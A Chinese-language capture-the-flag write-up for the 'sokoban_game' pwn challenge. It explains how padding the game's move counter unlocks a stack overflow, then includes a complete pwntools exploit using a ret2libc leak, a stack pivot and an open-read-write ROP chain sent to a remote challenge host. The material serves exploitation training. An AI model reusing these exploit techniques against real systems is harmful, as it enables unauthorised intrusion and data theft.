攻防世界 Pwn题 sokoban_game题解

题目分析:
拿到该题,只有一个可执行附件

老样子拖入虚拟机中查看基本信息
64位无栈保护,开启了NX

我们用IDA打开看看是什么情况


发现有点混乱而且并不好直接看出来,唯一明显的就是最后的栈溢出位置,问题是我们如何绕过上方的检查,并且使v10的值能够给我们提供足够的空间呢?
我们运行一下:

发现其运行起来的界面就是上面的图所示
结合题目的名字,推箱子游戏?
我们不妨尝试一下按wsad上下左右方向键来把箱子都推到圆圈位置

咦,我们发现我们走到了read函数,即到了我们可以进行栈溢出的部分,这说明这个混乱的代码逻辑就是判定推箱子游戏的胜利
那我们再来观察一下v10的变化条件

哦,我们走的步数可以增加v10的值,因为他没有检测重复走的情况,所以我们可以先走很多无用步数来增加v10的值
最后再输入一组我们记录下来的正确解,即可走到栈溢出位置并且获得足够的溢出长度
但事情好像没我们想得如此简单,这道题还开了沙箱


这个沙箱还是很明确的,最基本的orw操作即可
因为程序只有一次输入并且没有可用于泄露的栈地址空间,所以利用到了栈迁移
解题思路:
我们的核心思路就是:
溢出通过ret2libc泄露libc地址,然后利用栈迁移到其他可读可写的地方——0x602500
在这里继续输入数据,然后溢出,这里通过得到的libc地址获取的open,read,write函数的地址
然后写入orw的rop链读取flag即可
查看可读可写段,用于我们布置orw的rop,这是因为程序开了NX,故我们不能再依赖pwntools里的工具了

经测试远程环境的libc版本为
2.27-3ubuntu1.6_amd64 或者2.27-3ubuntu1.5_amd64
有一个坑点就是我不清楚为什么libc的open函数会找到openat函数,导致我用到了syscall系统调用来调用open函数
payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
剩下的都是正常套路

exp:
1 from pwn import * 2 from LibcSearcher import * 3 4 context.log_level = 'debug' 5 context.arch = 'amd64' 6 context.os = 'linux' 7 8 #io = process('./sokoban') 9 io = remote('61.147.171.35', 57783) 10 elf = ELF('./sokoban') 11 libc = ELF('/home/kali/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so') 12 fake_rbp = 0x602500 13 pop_rdi_ret = 0x0000000000400f63 14 puts_plt = elf.plt['puts'] 15 puts_got = elf.got['puts'] 16 17 18 19 # 方向键映射 20 MOVE_UP = b'w' 21 MOVE_DOWN = b's' 22 MOVE_LEFT = b'a' 23 MOVE_RIGHT = b'd' 24 25 # 推箱子解法 26 solution_moves = [ 27 MOVE_RIGHT, MOVE_RIGHT, MOVE_UP, MOVE_UP, MOVE_UP, MOVE_UP, 28 MOVE_DOWN, MOVE_DOWN, MOVE_RIGHT, MOVE_UP, MOVE_UP, MOVE_DOWN,MOVE_DOWN, 29 MOVE_LEFT, MOVE_DOWN, MOVE_DOWN, MOVE_RIGHT, MOVE_UP, MOVE_UP, MOVE_UP, 30 MOVE_DOWN, MOVE_DOWN, MOVE_DOWN, MOVE_RIGHT, MOVE_UP, MOVE_UP 31 ] 32 33 # 添加冗余移动来增加步数 34 current_steps = len(solution_moves) 35 required_steps = 2000 # 确保足够覆盖返回地址 36 37 padding_moves = [] 38 if current_steps < required_steps: 39 padding_count = required_steps - current_steps 40 # 在安全位置来回移动(比如右下角空地) 41 for i in range(padding_count // 2): 42 padding_moves.append(MOVE_RIGHT) 43 padding_moves.append(MOVE_LEFT) 44 45 all_moves = padding_moves + solution_moves 46 47 48 io.recv() 49 for move in all_moves: 50 io.send(move) 51 52 53 """ 54 1 - libc6_2.27-3ubuntu1.6_amd64 55 2 - libc6_2.27-3ubuntu1.5_amd64 56 """ 57 io.recvuntil("Hero,Please leave your name:") 58 59 lea_read = 0x400BF9 60 #泄露libc地址 + 栈迁移 61 payload = b'a'*0x130 + p64(fake_rbp) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(lea_read) 62 io.send(payload) 63 sleep(0.2) 64 puts_addr = u64(io.recvline().strip().ljust(8, b'\x00')) 65 success("puts_addr: " + hex(puts_addr)) 66 libc_base = puts_addr - libc.symbols['puts'] 67 success("libc_base: " + hex(libc_base)) 68 #借用libc寻找我们需要的rop 69 syscall_ret = libc_base + 0x00000000000d2625 70 pop_rdi = 0x000000000002164f + libc_base 71 pop_rsi = 0x0000000000023a6a + libc_base 72 pop_rdx = 0x0000000000001b96 + libc_base 73 pop_rax = 0x000000000001b500 + libc_base 74 75 read_addr = libc_base + libc.symbols['read'] 76 write_addr = libc_base + libc.symbols['write'] 77 78 #orw 79 flag_addr = 0x6025b0 80 payload = b'a'*0x130 + p64(fake_rbp) 81 payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret) 82 payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(fake_rbp) + p64(pop_rdx) + p64(0x100) + p64(read_addr) 83 payload += p64(pop_rdi) + p64(1) + p64(pop_rdx) + p64(0x100) + p64(write_addr) + b'./flag\x00\x00' 84 85 io.send(payload) 86 87 88 io.interactive()

浙公网安备 33010602011771号